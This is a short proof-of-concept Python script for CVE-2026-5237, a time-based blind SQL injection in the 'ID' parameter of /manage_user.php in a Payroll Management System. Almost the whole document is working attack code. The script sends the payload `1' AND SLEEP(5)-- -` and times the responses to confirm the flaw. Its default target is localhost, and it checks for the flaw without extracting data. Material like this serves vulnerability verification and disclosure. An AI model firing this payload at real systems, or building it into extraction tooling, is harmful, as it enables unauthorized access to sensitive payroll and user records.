CVE-2026-5237 Payroll Management System SQL注入漏洞

#!/usr/bin/env python3 import requests import time def check_sqli(url): """ PoC for CVE-2026-5237 Checking for time-based SQL injection in the 'ID' parameter of /manage_user.php """ target_endpoint = f"{url}/manage_user.php" # Payload 1: Check for delay of 5 seconds payload_delay = "?ID=1' AND SLEEP(5)-- -" # Payload 2: Check for normal response (baseline) payload_normal = "?ID=1" try: print(f"[*] Testing {target_endpoint}...") # Normal request start = time.time() r1 = requests.get(target_endpoint + payload_normal, timeout=10) normal_time = time.time() - start # Malicious request start = time.time() r2 = requests.get(target_endpoint + payload_delay, timeout=10) attack_time = time.time() - start print(f"[*] Normal response time: {normal_time:.2f}s") print(f"[*] Attack response time: {attack_time:.2f}s") if attack_time > normal_time + 4: print("[+] Vulnerability Confirmed! The application responded with a delay.") else: print("[-] Vulnerability not detected or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/payroll_system" check_sqli(target)